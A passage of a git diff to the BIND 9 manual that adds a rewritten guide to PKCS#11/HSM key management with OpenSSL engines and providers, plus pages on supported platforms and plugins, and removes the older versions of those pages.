+.. See the COPYRIGHT file distributed with this work for additional
+.. information regarding copyright ownership.
+
+.. _pkcs11:
+
+PKCS#11 (Cryptoki) Support
+~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Public Key Cryptography Standard #11 (PKCS#11) defines a
+platform-independent API for the control of hardware security modules
+(HSMs) and other cryptographic support devices.
+
+PKCS#11 uses a "provider library": a dynamically loadable
+library which provides a low-level PKCS#11 interface to drive the HSM
+hardware. The PKCS#11 provider library comes from the HSM vendor, and it
+is specific to the HSM to be controlled.
+
+BIND 9 access PKCS#11 libraries via OpenSSL extensions. The extension for
+OpenSSL 3 and newer is `pkcs11-provider`_. And for the older OpenSSL versions
+engine_pkcs11 from the `OpenSC`_ project can be used.
+
+.. _`pkcs11-provider`: https://github.com/latchset/pkcs11-provider
+.. _OpenSC: https://github.com/OpenSC/libp11
+
+In both cases the extension is dynamically loaded into OpenSSL and the HSM is
+operated indirectly; any cryptographic operations not supported by the HSM can
+be carried out by OpenSSL instead.
+
+Prerequisites
+^^^^^^^^^^^^^
+
+See the documentation provided by the HSM vendor for information about
+installing, initializing, testing, and troubleshooting the HSM.
+
+Building SoftHSMv2
+^^^^^^^^^^^^^^^^^^
+
+SoftHSMv2, the latest development version of SoftHSM, is available from
+https://github.com/opendnssec/SoftHSMv2. It is a software library
+developed by the OpenDNSSEC project (https://www.opendnssec.org) which
+provides a PKCS#11 interface to a virtual HSM, implemented in the form
+of an SQLite3 database on the local filesystem. It provides less security
+than a true HSM, but it allows users to experiment with native PKCS#11
+when an HSM is not available. SoftHSMv2 can be configured to use either
+OpenSSL or the Botan library to perform cryptographic functions, but
+when using it for native PKCS#11 in BIND, OpenSSL is required.
+
+By default, the SoftHSMv2 configuration file is ``prefix/etc/softhsm2.conf``
+(where ``prefix`` is configured at compile time). This location can be
+overridden by the SOFTHSM2_CONF environment variable. The SoftHSMv2
+cryptographic store must be installed and initialized before using it
+with BIND.
+
+::
+
+   $  cd SoftHSMv2
+   $  configure --with-crypto-backend=openssl --prefix=/opt/pkcs11/usr
+   $  make
+   $  make install
+   $  /opt/pkcs11/usr/bin/softhsm-util --init-token 0 --slot 0 --label softhsmv2
+
+OpenSSL 1.x.x with engine_pkcs11
+^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
+
+OpenSSL engine-based PKCS#11 uses engine_pkcs11 OpenSSL engine from libp11 project.
+
+engine_pkcs11 tries to fit the PKCS#11 API within the engine API of OpenSSL.
+That is, it provides a gateway between PKCS#11 modules and the OpenSSL engine
+API.  One has to register the engine with OpenSSL and one has to provide the
+path to the PKCS#11 module which should be gatewayed to. This can be done by
+editing the OpenSSL configuration file, by engine specific controls, or by using
+the p11-kit proxy module.
+
+It is recommended, that libp11 >= 0.4.12 is used.
+
+For more detailed howto including the examples, we recommend reading:
+
+https://gitlab.isc.org/isc-projects/bind9/-/wikis/BIND-9-PKCS11
+
+When using engine_pkcs11, all BIND binaries potentially need the keys require
+'-E pkcs11' argument to activate the engine support.
+
+Even though OpenSSL 3 has compatibility support for Engine API it is not
+recommended to be used due to bugs in OpenSSL and libp11.
+
+Configuring engine_pkcs11
+^^^^^^^^^^^^^^^^^^^^^^^^^
+
+The canonical documentation for configuring engine_pkcs11 is in the
+`libp11/README.md`_, but here's copy of working configuration for
+your convenience:
+
+.. _`libp11/README.md`: https://github.com/OpenSC/libp11/blob/master/README.md#pkcs-11-module-configuration
+
+We are going to use our own custom copy of OpenSSL configuration, again it's
+driven by an environment variable, this time called OPENSSL_CONF.  We are
+going to copy the global OpenSSL configuration (often found in
+``etc/ssl/openssl.conf``) and customize it to use engines_pkcs11.
+
+::
+
+   cp /etc/ssl/openssl.cnf /opt/bind9/etc/openssl.cnf
+
+and export the environment variable:
+
+::
+
+   export OPENSSL_CONF=/opt/bind9/etc/openssl.cnf
+
+Now add the following line at the top of file, before any sections (in square
+brackets) are defined:
+
+::
+
+   openssl_conf = openssl_init
+
+And make sure there are no other 'openssl_conf = ...' lines in the file.
+
+Add following lines at the bottom of the file:
+
+::
+
+   [openssl_init]
+   engines=engine_section
+
+   [engine_section]
+   pkcs11 = pkcs11_section
+
+   [pkcs11_section]
+   engine_id = pkcs11
+   dynamic_path = <PATHTO>/pkcs11.so
+   MODULE_PATH = <FULL_PATH_TO_HSM_MODULE>
+   # if automatic logging to the token is needed, PIN can be specified as below
+   #PIN = 1234
+   init = 0
+
+Enabling the OpenSSL Engine in BIND commands
+^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
+
+When using OpenSSL Engine-based PKCS#11, the "engine" to be used by OpenSSL can be
+specified in :iscman:`named` and all of the BIND ``dnssec-*`` tools by using the ``-E
+<engine>`` command line option. This engine name matches the 'engine_id' in the
+``openssl.cnf`` created in previous section.
+
+The zone signing commences as usual, with only one small difference.  We need to
+provide the name of the OpenSSL engine using the -E command line option.
+
+::
+
+   dnssec-signzone -E pkcs11 -S -o example.net example.net
+
+
+OpenSSL 3 with pkcs11-provider
+^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
+
+OpenSSL provider-based PKCS#11 uses pkcs11-provider project.
+
+pkcs11-provider tries to fit the PKCS#11 API within the Provider API of OpenSSL.
+That is, it provides a gateway between PKCS#11 modules and the OpenSSL Provider
+API.  One has to register the engine with OpenSSL and one has to provide the
+path to the PKCS#11 module which should be gatewayed to. This can be done by
+editing the OpenSSL configuration file, by engine specific controls, or by using
+the p11-kit proxy module.
+
+It is recommended that pkcs11-provider git commit 8672b98d2558aecb49f173df97b1463c7697b540
+from August 15, 2023 or later is used.
+
+BIND support for pkcs11-provider is built in and the -E command line option
+explained above should not be used.
+
+Configuring pkcs11-provider
+^^^^^^^^^^^^^^^^^^^^^^^^^^^
+
+The canonical documentation for configuring pkcs11-provider is in the
+`provider-pkcs11.7`_ manual page, but here's copy of working configuration for
+your convenience:
+
+.. _`provider-pkcs11.7`: https://github.com/latchset/pkcs11-provider/blob/main/docs/provider-pkcs11.7.md
+
+We are going to use our own custom copy of OpenSSL configuration, again it's
+driven by an environment variable, this time called OPENSSL_CONF.  We are
+going to copy the global OpenSSL configuration (often found in
+``etc/ssl/openssl.conf``) and customize it to use pkcs11-provider.
+
+::
+
+   cp /etc/ssl/openssl.cnf /opt/bind9/etc/openssl.cnf
+
+and export the environment variable:
+
+::
+
+   export OPENSSL_CONF=/opt/bind9/etc/openssl.cnf
+
+Now add the following line at the top of file, before any sections (in square
+brackets) are defined:
+
+::
+
+   openssl_conf = openssl_init
+
+And make sure there are no other 'openssl_conf = ...' lines in the file.
+
+Add following lines at the bottom of the file:
+
+::
+
+   [openssl_init]
+   providers = provider_init
+
+   [provider_init]
+   default = default_init
+   pkcs11 = pkcs11_init
+
+   [default_init]
+   activate = 1
+
+   [pkcs11_init]
+   module = <PATHTO>/pkcs11.so
+   pkcs11-module-path = <FULL_PATH_TO_HSM_MODULE>
+   # bind uses the digest+sign api. this is broken with the default load behaviour,
+   # but works with early load. see: https://github.com/latchset/pkcs11-provider/issues/266
+   pkcs11-module-load-behavior = early
+   # no-deinit quirk is needed if you use softhsm2
+   #pkcs11-module-quirks = no-deinit
+   # if automatic logging to the token is needed, PIN can be specified as below
+   # the file referenced should contain just the PIN
+   #pkcs11-module-token-pin = file:/etc/pki/pin.txt
+   activate = 1
+
+Key Generation
+^^^^^^^^^^^^^^
+
+HSM keys can now be created and used.  We are going to assume that you already
+have a BIND 9 installed, either from a package, or from the sources, and the
+tools are readily available in the ``$PATH``.
+
+For generating the keys, we are going to use ``pkcs11-tool`` available from the
+OpenSC suite.  On both DEB-based and RPM-based distributions, the package is
+called opensc.
+
+We need to generate at least two RSA keys:
+
+::
+
+   pkcs11-tool --module <FULL_PATH_TO_HSM_MODULE> -l -k --key-type rsa:2048 --label example.net-ksk --pin <PIN>
+   pkcs11-tool --module <FULL_PATH_TO_HSM_MODULE> -l -k --key-type rsa:2048 --label example.net-zsk --pin <PIN>
+
+Remember that each key should have unique label and we are going to use that
+label to reference the private key.
+
+Convert the RSA keys stored in the HSM into a format that BIND 9 understands.
+The :iscman:`dnssec-keyfromlabel` tool from BIND 9 can link the raw keys stored in the
+HSM with the ``K<zone>+<alg>+<id>`` files.
+
+You'll need to provide the OpenSSL engine name (``pkcs11``) if using the engine and
+the algorithm (``RSASHA256``). The key is referenced with the PKCS#11 URI scheme and it
+can contain the PKCS#11 token label (we asume that it has been initialized as bind9),
+and the PKCS#11 object label (called label when generating the keys using ``pkcs11-tool``)
+and the HSM PIN. Refer to `RFC7512`_ for the full PKCS#11 URI specification.
+
+.. _`RFC7512`: https://www.rfc-editor.org/rfc/rfc7512.html
+
+Convert the KSK:
+
+::
+
+   dnssec-keyfromlabel -E pkcs11 -a RSASHA256 -l "pkcs11:token=bind9;object=example.net-ksk;pin-value=0000" -f KSK example.net
+
+and ZSK:
+
+::
+
+   dnssec-keyfromlabel -E pkcs11 -a RSASHA256 -l "pkcs11:token=bind9;object=example.net-zsk;pin-value=0000" example.net
+
+NOTE: you can use PIN stored on disk, by specifying ``pin-source=<path_to>/<file>``, f.e.:
+
+::
+
+   (umask 0700 && echo -n 0000 > /opt/bind9/etc/pin.txt)
+
+and then use in the label specification:
+
+::
+
+   pin-source=/opt/bind9/etc/pin.txt
+
+Confirm that you have one KSK and one ZSK present in the current directory:
+
+::
+
+   ls -l K*
+
+The output should look like this (the second number will be different):
+
+::
+
+   Kexample.net.+008+31729.key
+   Kexample.net.+008+31729.private
+   Kexample.net.+008+42231.key
+   Kexample.net.+008+42231.private
+
+A note on generating ECDSA keys: there is a bug in libp11 when looking up a key,
+that function compares keys only on their ID, not the label. So when looking up
+a key it returns the first key, rather than the matching key. The workaround for
+this is when creating ECDSA keys, you should specify a unique ID:
+
+::
+
+   ksk=$(echo "example.net-ksk" | openssl sha1 -r | awk '{print $1}')
+   zsk=$(echo "example.net-zsk" | openssl sha1 -r | awk '{print $1}')
+   pkcs11-tool --module <FULL_PATH_TO_HSM_MODULE> -l -k --key-type EC:prime256v1 --id $ksk --label example.net-ksk --pin <PIN>
+   pkcs11-tool --module <FULL_PATH_TO_HSM_MODULE> -l -k --key-type EC:prime256v1 --id $zsk --label example.net-zsk --pin <PIN>
+
+
+Running :iscman:`named` With Automatic Zone Re-signing
+^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
+
+The zone can also be signed automatically by named. Again, we need to provide
+the name of the OpenSSL engine using the :option:`-E <named -E>` command line option,
+if using OpenSSL 1.x.x with engine_pkcs11, and this is not needed when using OpenSSL 3.x.x providers.
+
+::
+
+   named -E pkcs11 -c named.conf
+
+and the logs should have lines like:
+
+::
+
+   Fetching example.net/RSASHA256/31729 (KSK) from key repository.
+   DNSKEY example.net/RSASHA256/31729 (KSK) is now published
+   DNSKEY example.net/RSA256SHA256/31729 (KSK) is now active
+   Fetching example.net/RSASHA256/42231 (ZSK) from key repository.
+   DNSKEY example.net/RSASHA256/42231 (ZSK) is now published
+   DNSKEY example.net/RSA256SHA256/42231 (ZSK) is now active
+
+For :iscman:`named` to dynamically re-sign zones using HSM keys,
+and/or to sign new records inserted via nsupdate, :iscman:`named` must
+have access to the HSM PIN. In OpenSSL-based PKCS#11, this is
+accomplished by placing the PIN into the ``openssl.cnf`` file (in the above
+examples, ``/opt/pkcs11/usr/ssl/openssl.cnf``).
+
+See OpenSSL extension specific documentation on how to configure the PIN on
+global level. Doing so allows the ``dnssec-\*`` tools to access the HSM without
+PIN entry. (The ``pkcs11-\*`` tools access the HSM directly, not via OpenSSL,
+so a PIN is still required to use them.)
diff --git a/doc/arm/pkcs11.rst b/doc/arm/pkcs11.rst
deleted file mode 100644
index f112d3e67d..0000000000
--- a/doc/arm/pkcs11.rst
+++ /dev/null
@@ -1,286 +0,0 @@
-.. 
-   Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-   
-   This Source Code Form is subject to the terms of the Mozilla Public
-   License, v. 2.0. If a copy of the MPL was not distributed with this
-   file, you can obtain one at https://mozilla.org/MPL/2.0/.
-   
-   See the COPYRIGHT file distributed with this work for additional
-   information regarding copyright ownership.
-
-.. _pkcs11:
-
-PKCS#11 (Cryptoki) Support
---------------------------
-
-Public Key Cryptography Standard #11 (PKCS#11) defines a
-platform-independent API for the control of hardware security modules
-(HSMs) and other cryptographic support devices.
-
-BIND 9 is known to work with three HSMs: the AEP Keyper, which has been
-tested with Debian Linux, Solaris x86, and Windows Server 2003; the
-Thales nShield, tested with Debian Linux; and the Sun SCA 6000
-cryptographic acceleration board, tested with Solaris x86. In addition,
-BIND can be used with all current versions of SoftHSM, a software-based
-HSM simulator library produced by the OpenDNSSEC project.
-
-PKCS#11 uses a "provider library": a dynamically loadable
-library which provides a low-level PKCS#11 interface to drive the HSM
-hardware. The PKCS#11 provider library comes from the HSM vendor, and it
-is specific to the HSM to be controlled.
-
-There are two available mechanisms for PKCS#11 support in BIND 9:
-OpenSSL-based PKCS#11 and native PKCS#11. With OpenSSL-based PKCS#11,
-BIND uses a modified version of OpenSSL, which loads the
-provider library and operates the HSM indirectly; any cryptographic
-operations not supported by the HSM can be carried out by OpenSSL
-instead. Native PKCS#11 enables BIND to bypass OpenSSL completely;
-BIND loads the provider library itself, and uses the PKCS#11 API to
-drive the HSM directly.
-
-Prerequisites
-~~~~~~~~~~~~~
-
-See the documentation provided by the HSM vendor for information about
-installing, initializing, testing, and troubleshooting the HSM.
-
-Native PKCS#11
-~~~~~~~~~~~~~~
-
-Native PKCS#11 mode only works with an HSM capable of carrying out
-*every* cryptographic operation BIND 9 may need. The HSM's provider
-library must have a complete implementation of the PKCS#11 API, so that
-all these functions are accessible. As of this writing, only the Thales
-nShield HSM and SoftHSMv2 can be used in this fashion. For other HSMs,
-including the AEP Keyper, Sun SCA 6000, and older versions of SoftHSM,
-use OpenSSL-based PKCS#11. (Note: Eventually, when more HSMs become
-capable of supporting native PKCS#11, it is expected that OpenSSL-based
-PKCS#11 will be deprecated.)
-
-To build BIND with native PKCS#11, configure it as follows:
-
-::
-
-   $ cd bind9
-   $ ./configure --enable-native-pkcs11 \
-       --with-pkcs11=provider-library-path
-
-
-This causes all BIND tools, including ``named`` and the ``dnssec-*``
-and ``pkcs11-*`` tools, to use the PKCS#11 provider library specified in
-provider-library-path for cryptography. (The provider library path can
-be overridden using the ``-E`` argument in ``named`` and the ``dnssec-*`` tools,
-or the ``-m`` argument in the ``pkcs11-*`` tools.)
-
-Building SoftHSMv2
-^^^^^^^^^^^^^^^^^^
-
-SoftHSMv2, the latest development version of SoftHSM, is available from
-https://github.com/opendnssec/SoftHSMv2. It is a software library
-developed by the OpenDNSSEC project (https://www.opendnssec.org) which
-provides a PKCS#11 interface to a virtual HSM, implemented in the form
-of a SQLite3 database on the local filesystem. It provides less security
-than a true HSM, but it allows users to experiment with native PKCS#11
-when an HSM is not available. SoftHSMv2 can be configured to use either
-OpenSSL or the Botan library to perform cryptographic functions, but
-when using it for native PKCS#11 in BIND, OpenSSL is required.
-
-By default, the SoftHSMv2 configuration file is ``prefix/etc/softhsm2.conf``
-(where ``prefix`` is configured at compile time). This location can be
-overridden by the SOFTHSM2_CONF environment variable. The SoftHSMv2
-cryptographic store must be installed and initialized before using it
-with BIND.
-
-::
-
-   $  cd SoftHSMv2
-   $  configure --with-crypto-backend=openssl --prefix=/opt/pkcs11/usr
-   $  make
-   $  make install
-   $  /opt/pkcs11/usr/bin/softhsm-util --init-token 0 --slot 0 --label softhsmv2
-
-
-OpenSSL-based PKCS#11
-~~~~~~~~~~~~~~~~~~~~~
-
-OpenSSL-based PKCS#11 uses engine_pkcs11 OpenSSL engine from libp11 project.
-
-For more information, see https://gitlab.isc.org/isc-projects/bind9/-/wikis/BIND-9-PKCS11
-
-PKCS#11 Tools
-~~~~~~~~~~~~~
-
-BIND 9 includes a minimal set of tools to operate the HSM, including
-``pkcs11-keygen`` to generate a new key pair within the HSM,
-``pkcs11-list`` to list objects currently available, ``pkcs11-destroy``
-to remove objects, and ``pkcs11-tokens`` to list available tokens.
-
-In UNIX/Linux builds, these tools are built only if BIND 9 is configured
-with the ``--with-pkcs11`` option. (Note: If ``--with-pkcs11`` is set to ``yes``,
-rather than to the path of the PKCS#11 provider, the tools are
-built but the provider is left undefined. Use the ``-m`` option or the
-``PKCS11_PROVIDER`` environment variable to specify the path to the
-provider.)
-
-Using the HSM
-~~~~~~~~~~~~~
-
-For OpenSSL-based PKCS#11, the runtime environment must first be set up
-so the OpenSSL and PKCS#11 libraries can be loaded:
-
-::
-
-   $ export LD_LIBRARY_PATH=/opt/pkcs11/usr/lib:${LD_LIBRARY_PATH}
-
-This causes ``named`` and other binaries to load the OpenSSL library
-from ``/opt/pkcs11/usr/lib``, rather than from the default location. This
-step is not necessary when using native PKCS#11.
-
-Some HSMs require other environment variables to be set. For example,
-when operating an AEP Keyper, the location of
-the "machine" file, which stores information about the Keyper for use by
-the provider library, must be specified. If the machine file is in
-``/opt/Keyper/PKCS11Provider/machine``, use:
-
-::
-
-   $ export KEYPER_LIBRARY_PATH=/opt/Keyper/PKCS11Provider
-
-Such environment variables must be set when running any tool that
-uses the HSM, including ``pkcs11-keygen``, ``pkcs11-list``,
-``pkcs11-destroy``, ``dnssec-keyfromlabel``, ``dnssec-signzone``,
-``dnssec-keygen``, and ``named``.
-
-HSM keys can now be created and used. In this case, we will create
-a 2048-bit key and give it the label "sample-ksk":
-
-::
-
-   $ pkcs11-keygen -b 2048 -l sample-ksk
-
-To confirm that the key exists:
-
-::
-
-   $ pkcs11-list
-   Enter PIN:
-   object[0]: handle 2147483658 class 3 label[8] 'sample-ksk' id[0]
-   object[1]: handle 2147483657 class 2 label[8] 'sample-ksk' id[0]
-
-Before using this key to sign a zone, we must create a pair of BIND 9
-key files. The ``dnssec-keyfromlabel`` utility does this. In this case, we
-are using the HSM key "sample-ksk" as the key-signing key for
-"example.net":
-
-::
-
-   $ dnssec-keyfromlabel -l sample-ksk -f KSK example.net
-
-The resulting K*.key and K*.private files can now be used to sign the
-zone. Unlike normal K\* files, which contain both public and private key
-data, these files contain only the public key data, plus an
-identifier for the private key which remains stored within the HSM.
-Signing with the private key takes place inside the HSM.
-
-To generate a second key in the HSM for use as a
-zone-signing key, follow the same procedure above, using a different
-keylabel, a smaller key size, and omitting ``-f KSK`` from the
-``dnssec-keyfromlabel`` arguments:
-
-::
-
-   $ pkcs11-keygen -b 1024 -l sample-zsk
-   $ dnssec-keyfromlabel -l sample-zsk example.net
-
-Alternatively, a conventional on-disk key can be generated
-using ``dnssec-keygen``:
-
-::
-
-   $ dnssec-keygen example.net
-
-This provides less security than an HSM key, but since HSMs can be slow
-or cumbersome to use for security reasons, it may be more efficient to
-reserve HSM keys for use in the less frequent key-signing operation. The
-zone-signing key can be rolled more frequently, if desired, to
-compensate for a reduction in key security. (Note: When using native
-PKCS#11, there is no speed advantage to using on-disk keys, as
-cryptographic operations are done by the HSM.)
-
-Now the zone can be signed. Please note that, if the -S option is not used for
-``dnssec-signzone``, the contents of both
-``K*.key`` files must be added to the zone master file before signing it.
-
-::
-
-   $ dnssec-signzone -S example.net
-   Enter PIN:
-   Verifying the zone using the following algorithms:
-   NSEC3RSASHA1.
-   Zone signing complete:
-   Algorithm: NSEC3RSASHA1: ZSKs: 1, KSKs: 1 active, 0 revoked, 0 stand-by
-   example.net.signed
-
-Specifying the Engine on the Command Line
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-When using OpenSSL-based PKCS#11, the "engine" to be used by OpenSSL can
-be specified in ``named`` and all of the BIND ``dnssec-*`` tools by
-using the ``-E <engine>`` command line option. If BIND 9 is built with the
-``--with-pkcs11`` option, this option defaults to "pkcs11". Specifying the
-engine is generally not necessary unless
-a different OpenSSL engine is used.
-
-To disable use of the "pkcs11" engine - for
-troubleshooting purposes, or because the HSM is unavailable - set
-the engine to the empty string. For example:
-
-::
-
-   $ dnssec-signzone -E '' -S example.net
-
-This causes ``dnssec-signzone`` to run as if it were compiled without
-the ``--with-pkcs11`` option.
-
-When built with native PKCS#11 mode, the "engine" option has a different
-meaning: it specifies the path to the PKCS#11 provider library. This may
-be useful when testing a new provider library.
-
-Running ``named`` With Automatic Zone Re-signing
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-For ``named`` to dynamically re-sign zones using HSM keys,
-and/or to sign new records inserted via nsupdate, ``named`` must
-have access to the HSM PIN. In OpenSSL-based PKCS#11, this is
-accomplished by placing the PIN into the ``openssl.cnf`` file (in the above
-examples, ``/opt/pkcs11/usr/ssl/openssl.cnf``).
-
-The location of the openssl.cnf file can be overridden by setting the
-``OPENSSL_CONF`` environment variable before running ``named``.
-
-Here is a sample ``openssl.cnf``:
-
-::
-
-       openssl_conf = openssl_def
-       [ openssl_def ]
-       engines = engine_section
-       [ engine_section ]
-       pkcs11 = pkcs11_section
-       [ pkcs11_section ]
-       PIN = <PLACE PIN HERE>
-
-This also allows the ``dnssec-\*`` tools to access the HSM without PIN
-entry. (The ``pkcs11-\*`` tools access the HSM directly, not via OpenSSL, so
-a PIN is still required to use them.)
-
-In native PKCS#11 mode, the PIN can be provided in a file specified as
-an attribute of the key's label. For example, if a key had the label
-``pkcs11:object=local-zsk;pin-source=/etc/hsmpin``, then the PIN would
-be read from the file ``/etc/hsmpin``.
-
-.. warning::
-
-   Placing the HSM's PIN in a text file in this manner may reduce the
-   security advantage of using an HSM. Use caution
-   when configuring the system in this way.
diff --git a/doc/arm/platforms.inc.rst b/doc/arm/platforms.inc.rst
new file mode 100644
index 0000000000..f83c1b2abd
--- /dev/null
+++ b/doc/arm/platforms.inc.rst
@@ -0,0 +1,118 @@
+.. Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+..
+.. SPDX-License-Identifier: MPL-2.0
+..
+.. This Source Code Form is subject to the terms of the Mozilla Public
+.. License, v. 2.0.  If a copy of the MPL was not distributed with this
+.. file, you can obtain one at https://mozilla.org/MPL/2.0/.
+..
+.. See the COPYRIGHT file distributed with this work for additional
+.. information regarding copyright ownership.
+
+.. _supported_os:
+
+Supported Platforms
+-------------------
+
+The current support status of BIND 9 versions across various platforms can be
+found in the ISC Knowledgebase:
+
+https://kb.isc.org/docs/supported-platforms
+
+In general, this version of BIND will build and run on any
+POSIX-compliant system with a modern C11 (or better) compiler, BSD-style
+sockets with RFC-compliant IPv6 support, POSIX-compliant threads, and
+the :ref:`required libraries <build_dependencies>`.
+
+The following C11 features are required to compile BIND 9:
+
+-  Atomic operations support defined in <stdatomic.h>
+
+-  Thread Local Storage support defined in <threads.h>
+
+Where it makes sense, BIND 9 uses C-standard fixes introduced by C17 update
+of the C11 standard.
+
+ISC regularly tests BIND on many operating systems and architectures,
+but lacks the resources to test all of them. Consequently, ISC is only
+able to offer support on a “best-effort” basis for some.
+
+Regularly Tested Platforms
+~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Current versions of BIND 9 are fully supported and regularly tested on the
+following systems:
+
+-  Debian 11, 12
+-  Ubuntu LTS 20.04, 22.04
+-  Fedora 38
+-  Red Hat Enterprise Linux / CentOS / Oracle Linux 8, 9
+-  FreeBSD 12.4, 13.2
+-  OpenBSD 7.3
+-  Alpine Linux 3.18
+
+The amd64 CPU architecture is fully supported and regularly tested.
+
+Best-Effort
+~~~~~~~~~~~
+
+The following are platforms on which BIND is known to build and run. ISC
+makes every effort to fix bugs on these platforms, but may be unable to
+do so quickly due to lack of hardware, less familiarity on the part of
+engineering staff, and other constraints. None of these are tested
+regularly by ISC.
+
+-  macOS 10.12+
+-  Solaris 11
+-  NetBSD
+-  Other Linux distributions still supported by their vendors, such as:
+
+   -  Ubuntu 22.10+
+   -  Gentoo
+   -  Arch Linux
+
+-  OpenWRT/LEDE 17.01+
+-  Other CPU architectures (arm, arm64, mips64, ppc64, s390x)
+
+Community-Maintained
+~~~~~~~~~~~~~~~~~~~~
+
+These systems may not all have the required dependencies for building
+BIND easily available, although it is possible in many cases to
+compile those directly from source. The community and interested parties
+may wish to help with maintenance, and we welcome patch contributions,
+although we cannot guarantee that we will accept them. All contributions
+will be assessed against the risk of adverse effect on officially
+supported platforms.
+
+-  Platforms past or close to their respective EOL dates, such as:
+
+   -  Ubuntu 14.04, 16.04, 18.04 (Ubuntu ESM releases are not supported)
+   -  Red Hat Enterprise Linux / CentOS / Oracle Linux 6, 7
+   -  Debian 8 Jessie, 9 Stretch, 10 Buster
+   -  FreeBSD 10.x, 11.x
+
+-  Less common CPU architectures (i386, i686, mips, mipsel, sparc, ppc, and others)
+
+Unsupported Platforms
+---------------------
+
+These are platforms on which current versions of BIND 9 are known *not* to build or run:
+
+-  Platforms without at least OpenSSL 1.0.2
+-  Windows
+-  Solaris 10 and older
+-  Platforms that do not support IPv6 Advanced Socket API (RFC 3542)
+-  Platforms that do not support atomic operations (via compiler or
+   library)
+-  Linux without NPTL (Native POSIX Thread Library)
+-  Platforms on which **libuv >= 1.34** cannot be compiled or is not available
+
+Installing BIND 9
+-----------------
+
+:ref:`build_bind` contains complete instructions for how to build BIND 9.
+
+The ISC `Knowledgebase <https://kb.isc.org/>`_ contains many useful articles about installing
+BIND 9 on specific platforms.
+
diff --git a/doc/arm/plugins.inc.rst b/doc/arm/plugins.inc.rst
new file mode 100644
index 0000000000..7e63995f3a
--- /dev/null
+++ b/doc/arm/plugins.inc.rst
@@ -0,0 +1,85 @@
+.. Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+..
+.. SPDX-License-Identifier: MPL-2.0
+..
+.. This Source Code Form is subject to the terms of the Mozilla Public
+.. License, v. 2.0.  If a copy of the MPL was not distributed with this
+.. file, you can obtain one at https://mozilla.org/MPL/2.0/.
+..
+.. See the COPYRIGHT file distributed with this work for additional
+.. information regarding copyright ownership.
+
+.. _module-info:
+
+Plugins
+~~~~~~~
+
+Plugins are a mechanism to extend the functionality of :iscman:`named` using
+dynamically loadable libraries. By using plugins, core server
+functionality can be kept simple for the majority of users; more complex
+code implementing optional features need only be installed by users that
+need those features.
+
+The plugin interface is a work in progress, and is expected to evolve as
+more plugins are added. Currently, only "query plugins" are supported;
+these modify the name server query logic. Other plugin types may be
+added in the future.
+
+The only plugin currently included in BIND is :iscman:`filter-aaaa.so <filter-aaaa>`, which
+replaces the ``filter-aaaa`` feature that previously existed natively as
+part of :iscman:`named`. The code for this feature has been removed from
+:iscman:`named` and can no longer be configured using standard :iscman:`named.conf`
+syntax, but linking in the :iscman:`filter-aaaa.so <filter-aaaa>` plugin provides identical
+functionality.
+
+Configuring Plugins
+~~~~~~~~~~~~~~~~~~~
+.. namedconf:statement:: plugin
+   :tags: server
+   :short: Configures plugins in :iscman:`named.conf`.
+
+A plugin is configured with the :any:`plugin` statement in :iscman:`named.conf`:
+
+::
+
+       plugin query "library.so" {
+           parameters
+       };
+
+
+In this example, file ``library.so`` is the plugin library. ``query``
+indicates that this is a query plugin.
+
+Multiple :any:`plugin` statements can be specified, to load different
+plugins or multiple instances of the same plugin.
+
+``parameters`` are passed as an opaque string to the plugin's initialization
+routine. Configuration syntax differs depending on the module.
+
+Developing Plugins
+~~~~~~~~~~~~~~~~~~
+
+Each plugin implements four functions:
+
+-  ``plugin_register``
+   to allocate memory, configure a plugin instance, and attach to hook
+   points within
+   :iscman:`named`
+   ,
+-  ``plugin_destroy``
+   to tear down the plugin instance and free memory,
+-  ``plugin_version``
+   to check that the plugin is compatible with the current version of
+   the plugin API,
+-  ``plugin_check``
+   to test syntactic correctness of the plugin parameters.
+
+At various locations within the :iscman:`named` source code, there are "hook
+points" at which a plugin may register itself. When a hook point is
+reached while :iscman:`named` is running, it is checked to see whether any
+plugins have registered themselves there; if so, the associated "hook
+action" - a function within the plugin library - is called. Hook
+actions may examine the runtime state and make changes: for example,
+modifying the answers to be sent back to a client or forcing a query to
+be aborted. More details can be found in the file
+``lib/ns/include/ns/hooks.h``.
diff --git a/doc/arm/plugins.rst b/doc/arm/plugins.rst
deleted file mode 100644
index dcd769aacd..0000000000
--- a/doc/arm/plugins.rst
+++ /dev/null
@@ -1,81 +0,0 @@
-.. 
-   Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-   
-   This Source Code Form is subject to the terms of the Mozilla Public
-   License, v. 2.0. If a copy of the MPL was not distributed with this
-   file, you can obtain one at https://mozilla.org/MPL/2.0/.
-   
-   See the COPYRIGHT file distributed with this work for additional
-   information regarding copyright ownership.
-
-.. _module-info:
-
-Plugins
--------
-
-Plugins are a mechanism to extend the functionality of ``named`` using
-dynamically loadable libraries. By using plugins, core server
-functionality can be kept simple for the majority of users; more complex
-code implementing optional features need only be installed by users that
-need those features.
-
-The plugin interface is a work in progress, and is expected to evolve as
-more plugins are added. Currently, only "query plugins" are supported;
-these modify the name server query logic. Other plugin types may be
-added in the future.
-
-The only plugin currently included in BIND is ``filter-aaaa.so``, which
-replaces the ``filter-aaaa`` feature that previously existed natively as
-part of ``named``. The code for this feature has been removed from
-``named`` and can no longer be configured using standard ``named.conf``
-syntax, but linking in the ``filter-aaaa.so`` plugin provides identical
-functionality.
-
-Configuring Plugins
-~~~~~~~~~~~~~~~~~~~
-
-A plugin is configured with the ``plugin`` statement in ``named.conf``:
-
-::
-
-       plugin query "library.so" {
-           parameters
-       };
-
-
-In this example, file ``library.so`` is the plugin library. ``query``
-indicates that this is a query plugin.
-
-Multiple ``plugin`` statements can be specified, to load different
-plugins or multiple instances of the same plugin.
-
-``parameters`` are passed as an opaque string to the plugin's initialization
-routine. Configuration syntax differs depending on the module.
-
-Developing Plugins
-~~~~~~~~~~~~~~~~~~
-
-Each plugin implements four functions:
-
--  ``plugin_register``
